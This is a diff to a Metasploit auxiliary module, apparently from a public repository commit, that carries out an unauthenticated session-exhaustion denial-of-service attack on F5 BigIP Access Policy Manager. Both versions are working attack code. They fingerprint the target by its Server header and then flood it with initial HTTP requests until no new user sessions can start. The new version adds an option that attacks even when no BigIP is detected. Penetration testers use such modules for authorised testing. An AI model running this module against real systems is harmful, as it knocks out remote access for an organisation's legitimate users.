@@ -11,14 +11,17 @@ class Metasploit3 < Msf::Auxiliary
11
11
12
12
def initialize ( info = { } )
13
13
super ( update_info ( info ,
14
- 'Name' => 'F5 BigIP APM Unauthenticated Session Exhaustion Denial of Service' ,
14
+ 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service' ,
15
15
'Description' => %q{
16
- An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager
17
- and exhaust all available sessions defined in customer\'s license.
18
- In the first step of BigIP APM protocol the client sends a HTTP request.
19
- The BigIP system creates a session, marks it as progress (pending) and then redirects client to access policy URI.
20
- Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired
21
- the attacker can exhaust all available sessions repeatedly sending initial HTTP request.
16
+ This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
17
+ unauthenticated attacker can establish multiple connections with BigIP Access Policy
18
+ Manager (APM) and exhaust all available sessions defined in customer license. In the
19
+ first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
20
+ system creates a session, marks it as pending and then redirects the client to an access
21
+ policy URI. Since BigIP allocates a new session after the first unauthenticated request,
22
+ and deletes the session only if an access policy timeout expires, the attacker can exhaust
23
+ all available sessions by repeatedly sending the initial HTTP request and leaving the
24
+ sessions as pending.
22
25
} ,
23
26
'Author' =>
24
27
[
@@ -33,67 +36,63 @@ def initialize(info = {})
33
36
'License' => MSF_LICENSE ,
34
37
'DefaultOptions' =>
35
38
{
36
- 'SSLVersion' => 'TLS1'
39
+ 'SSL' => true ,
40
+ 'SSLVersion' => 'TLS1' ,
41
+ 'RPORT' => 443
37
42
}
38
43
) )
39
44
40
45
register_options (
41
46
[
42
- OptPort . new ( 'RPORT' , [ true , 'The BigIP service port to listen on' , 443 ] ) ,
43
- OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , true ] ) ,
44
47
OptInt . new ( 'RLIMIT' , [ true , 'The number of requests to send' , 10000 ] ) ,
45
- OptBool . new ( 'IGNOREMISMATCH ' , [ true , 'Proceed with attack only if BigIP virtual server was detected' , false ] ) ,
48
+ OptBool . new ( 'FORCE ' , [ true , 'Proceed with attack even if a BigIP virtual isn\'t detected' , false ] )
46
49
] , self . class )
47
50
end
48
51
49
52
def run
50
- # Main function
51
- rlimit = datastore [ 'RLIMIT' ]
52
- proto = datastore [ 'SSL' ] ? 'https' : 'http'
53
- ignore_mismatch = datastore [ 'IGNOREMISMATCH' ]
53
+ limit = datastore [ 'RLIMIT' ]
54
+ force_attack = datastore [ 'FORCE' ]
54
55
55
- # Send an initial test request
56
56
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
57
- if res
58
- server = res . headers [ 'Server' ]
59
- # Simple test based on HTTP Server header to detect BigIP virtual server
60
- unless ignore_mismatch
61
- if server !~ /BIG\- IP/ && server !~ /BigIP/
62
- print_error ( "#{ peer } - BigIP virtual server was not detected. Please check options" )
63
- return
64
- end
65
- end
66
- print_good ( "#{ peer } - Starting DoS attack" )
67
- else
68
- print_error ( "#{ peer } - Unable to connect to BigIP. Please check options" )
57
+
58
+ unless res
59
+ print_error ( "#{ peer } - No answer from the BigIP server" )
60
+ return
61
+ end
62
+
63
+ # Simple test based on HTTP Server header to detect BigIP virtual server
64
+ server = res . headers [ 'Server' ]
65
+ unless server =~ /BIG\- IP/ || server =~ /BigIP/ || force_attack
66
+ print_error ( "#{ peer } - BigIP virtual server was not detected. Please check options" )
69
67
return
70
68
end
71
69
70
+ print_status ( "#{ peer } - Starting DoS attack" )
71
+
72
72
# Start attack
73
- ( 1 ..rlimit ) . each do
73
+ limit . times do |step |
74
+ if step % 100 == 0
75
+ print_status ( "#{ peer } - #{ step * 100 / limit } % accomplished..." )
76
+ end
74
77
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
75
- if res && res . headers [ 'Location' ] == '/my.logout.php3?errorcode=14'
76
- print_good ( "#{ peer } - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time" )
77
- print_good ( "#{ peer } - DoS attack is successful" )
78
+ if res && res . headers [ 'Location' ] =~ /\/ my\. logout\. php3\? errorcode=14/
79
+ print_good ( "#{ peer } - DoS accomplished: The maximum number of concurrent user sessions has been reached." )
78
80
return
79
81
end
80
82
end
81
83
82
- # Check if attack is unsuccessfull
84
+ # Check if attack has failed
83
85
res = send_request_cgi ( 'method' => 'GET' , 'uri' => uri )
84
- if res . headers [ 'Location' ] == '/ my.policy'
85
- print_status ( "#{ peer } - DoS attack is unsuccessful . Try to increase the RLIMIT number " )
86
+ if res . headers [ 'Location' ] =~ / \/ my.policy/
87
+ print_error ( "#{ peer } - DoS attack failed . Try to increase the RLIMIT" )
86
88
else
87
89
print_status ( "#{ peer } - Result is undefined. Try to manually determine DoS attack result" )
88
90
end
89
91
90
92
rescue ::Rex ::ConnectionRefused
91
- print_error ( "#{ peer } - Unable to connect to BigIP" )
93
+ print_error ( "#{ peer } - Unable to connect to BigIP. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached " )
92
94
rescue ::Rex ::ConnectionTimeout
93
- print_error ( "#{ peer } - Unable to connect to BigIP. Please check options" )
94
- rescue ::Errno ::ECONNRESET
95
- print_error ( "#{ peer } - The connection was reset. Probably BigIP \" Max In Progress Sessions Per Client IP\" counter was reached" )
96
- print_status ( "#{ peer } - DoS attack is unsuccessful" )
95
+ print_error ( "#{ peer } - Unable to connect to BigIP." )
97
96
rescue ::OpenSSL ::SSL ::SSLError
98
97
print_error ( "#{ peer } - SSL/TLS connection error" )
99
98
end
0 commit comments